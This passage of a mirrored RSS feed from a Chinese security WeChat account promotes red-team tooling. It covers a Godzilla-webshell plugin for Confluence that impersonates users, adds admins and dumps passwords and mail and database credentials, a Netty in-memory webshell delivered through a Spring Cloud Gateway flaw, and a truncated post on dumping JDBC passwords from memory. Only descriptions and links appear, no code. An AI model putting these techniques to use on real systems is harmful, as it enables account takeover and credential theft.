src="https://wechat2rss.xlab.app/img-proxy/?k=6df83f6f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJputHcsqVgEiasYtltGQd0a5nAMwhVWbEAqhwIlzhIHb2zAqR8l9VIA9Zw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=13da2f4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuTHur1GelW9sLHBM7qqibLfexmxkoLxNdPxEvTM33DgKo5tslOE7ibiafA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=eac7e7b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpujxTNSLfsqPGPSPwUQiaCXeHWHniauG16azXVSumPRTbdwDKSZ7qSKFcA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=27d302a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpujNKPgxXicmh8TE4KaRzhy6JKiaE5WuchicY3xpqtXsIPYsnlELibHAswicg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=133fb2e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuxVQKWGzGCjhwqM02qf3PT8amoonp0OEicKswvN1EwDFUyC5bLyScDbQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=fad3e2be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuTibZSF0zMZBic09VEKxgLwJ9aKD7am3gacuhGiaGOgL8gBtKkIt5iat3nQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=de83af1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuWEW9kSKhpS1iaxG1Mh5ooARvW8YoovjQn0nKHFhPkicJTqpVf06l5NBQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=174d535e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuux1YEfvHwWQQtPCIMD8VYF4B4URrgPxwyy7aQOqzWZQUufyesb84AA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=240af874&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuuib86vOhpicwowgAVx1Is4NwCjamGr5uUk0GSIKX8icChuTSCG4icLCMqg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=431faca7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuvgibTFNBkFTtqfCxmDuIibQEgmz7Z3aeOdM17aSgbNIjLk5hktNnOSicw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=820ed760&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuUplFWtZiaHiaWnuT8WnjKb3jlPVUwdIFwkufu21gS2VjymOFJXR4IHtQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=344fd343&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpu2mKkhRBPhE4UBlp62GjpuFN2d1jf2CPe848iciaWyX6LJZ2ib5RPtYWZA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=75482c78&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpu1znJrwqkfSD55ZXPHOezomgb5rZD5V83h6lz2icFmCjFcoZW0hRoYeA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a0c578b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpug7Re74ONbFfa48tuXdFomSDhvib143knIVicWDNZYVFCtLibnbNFIu36w%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=010a5f44&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpu3NlAibILsLV4Dk5Biahbp9SHC6Uicfm1c9Dh8fBCPx6IvkXNicZ5giaMtoA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a0645d94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuD2rGoVz2EliaZC75HW6roWgTnPuAduiaMvxEd7qXYIWJWBgav6KsLfGQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=78c52674&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuFCvCsUwjRTmIZ8XyKIyB3hz5YLubwxwbrXzKL8VITXuF5oj3EDToaw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.5625" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d1f29906&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuzPKhJ2luvMXJuuFBuI2MwVnuV4zMTCFicsicUZkH2gwOrvicicRP7vgialA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.5625" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=0b73970b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpu5GwoVWMwjh70YtUH7ibiaVIwo96343tN9fOqaiamScIA4wVejGLAia76pQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.5625" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=57007034&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuERLB0bXXuC3EdpTezqIZwtU4r9xqf6nXJjnic5xtibXtIzJbxvEvJicuQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.5625" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=7f4a1a52&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpu8Nibus6D6NoflBgicJIcLSSxkhicicbs9HCY6ibia4s3Qib2XFwdIjf0e8kcA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.5625" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=762c03c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuOejep77LwtYXL0s9H4dvVUMibwWsfgmGCVzpNunQxfcQ7gszkTVMlzQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0em;"><img class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f7b6564e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibIBBFe3LvLJtzicwGZfZJpuicCibjQGjAUKJyicbiaNWsMHgaHfvXXD5y8dObBiaIRlV4B90E5MAsULm5g%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p>



<p><a href="2247486232">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=63ec5b3f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTQ3NzA2MQ%3D%3D%26mid%3D2247486232%26idx%3D1%26sn%3D02d83e8653ee733a989a354dd378f19d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 28 Aug 2022 00:30:00 +0800</pubDate>
    </item>
    <item>
      <title>PostConfluence Confluence后渗透插件</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&amp;mid=2247485162&amp;idx=1&amp;sn=02963916e2ece9e1939d7abd2416172d</link>
      <description>无需密码任意用户登陆、添加管理员用户、枚举所有用户信息、枚举所有用户空间内所有信息等</description>
      <content:encoded><![CDATA[<p>
原创 <span>Beichen</span> <span>2022-06-16 00:16</span> <span style="display: inline-block;">北京</span>
</p>

<p>无需密码任意用户登陆、添加管理员用户、枚举所有用户信息、枚举所有用户空间内所有信息等</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=778ab7fb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibPruXicmtIsWgY6YWab2w9rqZYUw9ShC2iaz9cqlyTqOibtzbmVvkpyaAAuvonDmIj3wmP2icg987FWg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;">功能简介</span></strong></p><p><span style="font-size: 14px;">当你在Confluence拥有一个哥斯拉webshell之后，你就可以使用哥斯拉的Confluence后渗透插件</span></p><ol class="list-paddingleft-1"><li style="font-size: 14px;"><p><span style="font-size: 14px;">MakeToken</span></p></li><p><span style="font-size: 14px;">不需要密码登录任意用户 使用场景:sso/目标有严格的认证机制</span></p><li style="font-size: 14px;"><p><span style="font-size: 14px;">AddAdminUser</span></p></li><p><span style="font-size: 14px;">添加一个可登录管理员用户</span></p><li style="font-size: 14px;"><p><span style="font-size: 14px;">UpdatePassword</span></p></li><p><span style="font-size: 14px;">修改任意用户的密码</span></p><li style="font-size: 14px;"><p><span style="font-size: 14px;">EnumAllUser</span></p></li><p><span style="font-size: 14px;">枚举所有的用户 包括用户名,用户密码,用户手机号,用户IM账号,用户所在地址,用户所在部门,用户主页,用户当前登录失败次数,用户总登录失败次数,用户上次登录失败时间,用户上次登录成功时间,用户所在域,用户是否存活,用户所在组</span></p><li style="font-size: 14px;"><p><span style="font-size: 14px;">EnumMailServers</span></p></li><p><span style="font-size: 14px;">枚举所有的邮箱配置 包括邮箱地址,邮箱账号,邮箱密码,socks代理地址</span></p><li style="font-size: 14px;"><p><span style="font-size: 14px;">EnumAllSpace</span></p></li><p><span style="font-size: 14px;">枚举该Confluence所有的空间 包括该空间存在哪些文章,文章附件、文章评论数量、文章访问URL、附件下载URL、文件创建人、文章修改人、文章创建时间、文章修改时间等</span></p><li style="font-size: 14px;"><p><span style="font-size: 14px;">EnumHibernateConfig</span></p></li><p><span style="font-size: 14px;">枚举Confluence的数据库配置信息</span></p><li style="font-size: 14px;"><p><span style="font-size: 14px;">SearchPage</span></p></li><p><span style="font-size: 14px;">在所有的文章搜索指定关键字</span></p></ol><p><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></p><p style="text-align: center;"><strong><span style="background-color: rgb(255, 255, 255);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 20px;">如何使用</span></strong></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">在</span><a href="https://github.com/BeichenDream/PostConfluence/releases" target="_blank">https://github.com/BeichenDream/PostConfluence/releases</a><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;"> 下载哥斯拉插件Jar包</span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">然后打开哥斯拉 点击配置-&gt;点击插件配置-&gt;点击添加并选择你下载的Jar包</span></p><p><img class="rich_pages wxw-img" data-ratio="0.4" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 750.01px;height: 300px;" data-type="png" data-w="750" src="https://wechat2rss.xlab.app/img-proxy/?k=175aae7c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ibPruXicmtIsWgY6YWab2w9rt04w0uwnf4icMhFoW3jYQS5UVKVTkWLJmOb4bMruicu0fx3n9b4eedNQ%2F640%3Fwx_fmt%3Dpng"/><br/></p><h2><span style="font-size: 14px;">部分功能演示</span></h2><h3><span style="font-size: 14px;">MakeToken</span></h3><p><img class="rich_pages wxw-img" data-ratio="0.3970976253298153" style="width:758.010009765625px;height:301.42999267578125px;" data-type="png" data-w="758" src="https://wechat2rss.xlab.app/img-proxy/?k=f80017b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ibPruXicmtIsWgY6YWab2w9r6c42ZuHjIEhTg47bX9atB0kNZBhUeX5gewj7qbClcTJsbeZp3VeVPw%2F640%3Fwx_fmt%3Dpng"/></p><h3><span style="font-size: 14px;">EnumHibernateConfig</span></h3><p><img class="rich_pages wxw-img" data-ratio="0.3970976253298153" style="width:758.010009765625px;height:301.42999267578125px;" data-type="png" data-w="758" src="https://wechat2rss.xlab.app/img-proxy/?k=c0f3a3ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ibPruXicmtIsWgY6YWab2w9rL20lpI6Dh9tAa4betHibiaGWwIqgA1zyLraO3iaVNUeiaRacEyo7M9wcicg%2F640%3Fwx_fmt%3Dpng"/></p><h3><span style="font-size: 14px;">EnumAllUser</span></h3><p><img class="rich_pages wxw-img" data-ratio="0.3970976253298153" style="width:758.010009765625px;height:301.42999267578125px;" data-type="png" data-w="758" src="https://wechat2rss.xlab.app/img-proxy/?k=b057f7f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ibPruXicmtIsWgY6YWab2w9rrag7qE432BYnSGj8rHomibOCTkcVhqiaSRiah8e8GgtvFKvS3dxY5YiaMw%2F640%3Fwx_fmt%3Dpng"/></p><h3><span style="font-size: 14px;">searchPage</span></h3><p><img class="rich_pages wxw-img" data-ratio="0.3970976253298153" style="width:758.010009765625px;height:301.42999267578125px;" data-type="png" data-w="758" src="https://wechat2rss.xlab.app/img-proxy/?k=fe2c85dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ibPruXicmtIsWgY6YWab2w9rXz4K2XCmZOwfYibiaK6d06ZDlEnGYHXEia44KP0sYTZngwicFZ5Jk7KCwg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 20px;">项目地址</span></strong><br/></p><p style="text-align: justify;"><span style="font-size: 14px;"><a href="https://github.com/BeichenDream/PostConfluence" target="_blank">https://github.com/BeichenDream/PostConfluence</a></span></p>



<p><a href="2247485162">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1d81e77e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTQ3NzA2MQ%3D%3D%26mid%3D2247485162%26idx%3D1%26sn%3D02963916e2ece9e1939d7abd2416172d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 16 Jun 2022 00:16:00 +0800</pubDate>
    </item>
    <item>
      <title>Netty Memshell</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&amp;mid=2247485147&amp;idx=1&amp;sn=a0e0f9fd4cb10ef9175f870ec62c2886</link>
      <description>结合Spring Cloud Gateway 漏洞实现了一下Netty内存马</description>
      <content:encoded><![CDATA[<p>
<span>Skay&amp;amp;Beichen</span> <span>2022-04-24 15:31</span> <span style="display: inline-block;"></span>
</p>

<p>结合Spring Cloud Gateway 漏洞实现了一下Netty内存马</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8c34e60f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P59SVsTicm9iaPZDrfbeoAibskDafZpiaejrQib5wyyFKk6FjicvLAegKPCKEw7TyzSCUllbABrPpsbw5h5w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 14px;">结合Spring Cloud Gateway 漏洞实现了一下Netty内存马</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4" data-s="300,640" style="" data-type="png" data-w="1700" src="https://wechat2rss.xlab.app/img-proxy/?k=d9031427&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P59SVsTicm9iaPZDrfbeoAibskDx7VeRqmncibeBESQ26wx1HNAnoLTkmw7gmOlIicYe3IkyVIpXpCfIQtA%2F640%3Fwx_fmt%3Dpng"/></p><pre style="background-color:#2b2b2b;color:#a9b7c6;font-family:&#39;JetBrains Mono&#39;,monospace;font-size:9.8pt;"><span style="color:#cc7832;"></span></pre><span style="display: none;line-height: 0px;">‍</span><p><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="4.58046875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=0d9384b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P59SVsTicm9iaPZDrfbeoAibskDFWUnpBmLrIXKYS1cPStwyCmuzFOWQQS3qBY29FCQ5ZpsV0VxwKV0icg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 14px;">参考链接：</span></p><p><span style="font-size: 14px;"><a href="https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-" target="_blank">https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-</a></span><span style="font-size: 14px;">spel-expressions/</span></p><p><br/></p><p><span style="font-size: 14px;">示例代码下载链接：</span></p><p><span style="font-size: 14px;"><a href="https://github.com/0linlin0/Java/blob/ma" target="_blank">https://github.com/0linlin0/Java/blob/ma</a></span><span style="font-size: 14px;">ster/NettyMemshell/NettyMemshell.java</span></p>



<p><a href="2247485147">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8713776b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTQ3NzA2MQ%3D%3D%26mid%3D2247485147%26idx%3D1%26sn%3Da0e0f9fd4cb10ef9175f870ec62c2886%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 24 Apr 2022 15:31:00 +0800</pubDate>
    </item>
    <item>
      <title>Java Web —— 从内存中Dump JDBC数据库明文密码</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&amp;mid=2247485138&amp;idx=1&amp;sn=1229156e187fedd7b4aa4b1ac6c8f490</link>
      <description>在红队行动中经常会遇到拿到Webshell后找不到数据库密码存放位置或者是数据库密码被加密的情况(需要逆向代码查找解密逻辑)。在此提出两种在从运行时获取所有的数据库连接信息(密码)的方式</description>
      <content:encoded><![CDATA[<p>
原创 <span>Beichen</span> <span>2022-03-07 11:01</span> <span style="display: inline-block;"></span>
</p>

<p>在红队行动中经常会遇到拿到Webshell后找不到数据库密码存放位置或者是数据库密码被加密的情况(需要逆向代码查找解密逻辑)。在此提出两种在从运行时获取所有的数据库连接信息(密码)的方式</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8afd60d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P58WibebnNMJ1F0tyeFuGibrJSXb3fADf93RDe5LLqeJCB7M9jSZoxfdpFtnNZ9SNaiaWTsEC1aZJMUIw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="background-color: rgb(255, 246, 246);box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;"><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;"><img class="rich_pages wxw-img" data-ratio="0.2601852" style="vertical-align: middle;max-width: 100%;box-sizing: border-box;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e1f3bc5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P58WibebnNMJ1F0tyeFuGibrJSUNrkmbROaCDu8TkRibVCdmXaSQzRCxKZdZiaFd6gF0NefoahnNIKfOlA%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 50%;height: auto;box-sizing: border-box;"><img class="rich_pages wxw-img" data-ratio="0.1794298" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-type="gif" data-w="1789" src="https://wechat2rss.xlab.app/img-proxy/?k=b802718f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FibdUyJNn0P58WibebnNMJ1F0tyeFuGibrJSZY3SvVWJU9SAGibSIF39MnUmxvXGY7PTsLEpTYrpKYicchIK20Viaf5qA%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section><section style="text-align: center;box-sizing: border-box;"><section style="display: inline-block;width: 200px;height: 68px;vertical-align: top;overflow: hidden;background-position: 50% 50%;background-repeat: no-repeat;background-size: cover;background-attachment: scroll;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/ibdUyJNn0P58WibebnNMJ1F0tyeFuGibrJS2Z2E1UjfdHFnXtVr1CLvHvfyS8l45cA8GlyfRJ7wQSqpFph2iaib4aeg/640?wx_fmt=gif&#34;);box-sizing: border-box;"><section style="margin: 20px 0% 10px;box-sizing: border-box;"><section style="color: rgb(255, 230, 231);text-shadow: rgb(245, 149, 152) 1px -1px, rgb(245, 149, 152) 1px 1px, rgb(245, 149, 152) -1px 1px, rgb(245, 149, 152) -1px -1px, rgb(245, 149, 152) 1px 0px, rgb(245, 149, 152) 0px 1px, rgb(245, 149, 152) -1px 0px, rgb(245, 149, 152) 0px -1px;letter-spacing: 4px;line-height: 1.8;padding: 0px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;">引 言<br style="box-sizing: border-box;"/></strong></p></section></section></section></section><section style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section><section style="box-sizing: border-box;"><section style="display: flex;flex-flow: row nowrap;text-align: center;justify-content: center;margin: 10px 0% 20px;box-sizing: border-box;"><section style="display: inline-block;vertical-align: top;width: 10px;box-shadow: rgb(0, 0, 0) 0px 0px 0px;flex: 0 0 auto;height: auto;z-index: 1;box-sizing: border-box;"><section style="box-sizing: border-box;"><section style="display: inline-block;width: 20px;height: 54px;vertical-align: top;overflow: hidden;background-position: 50% 50%;background-repeat: no-repeat;background-size: cover;background-attachment: scroll;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/ibdUyJNn0P58WibebnNMJ1F0tyeFuGibrJS6J4p7SHod1pjkOkSJ0J15Vs6u38k63DgGAesVKJTDbY24WoKiaZV8icw/640?wx_fmt=png&#34;);box-sizing: border-box;"><section><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section style="display: inline-block;width: 95%;vertical-align: top;border-style: solid;border-width: 2px;border-radius: 10px;border-color: rgb(245, 149, 152);flex: 0 0 auto;align-self: flex-start;height: auto;box-shadow: rgb(201, 233, 236) 6px 6px 0px;background-color: rgb(255, 230, 231);overflow: hidden;box-sizing: border-box;"><section style="margin: 18px 0% 0px;box-sizing: border-box;"><section style="font-size: 12px;text-align: justify;font-family: Optima-Regular, PingFangTC-light;line-height: 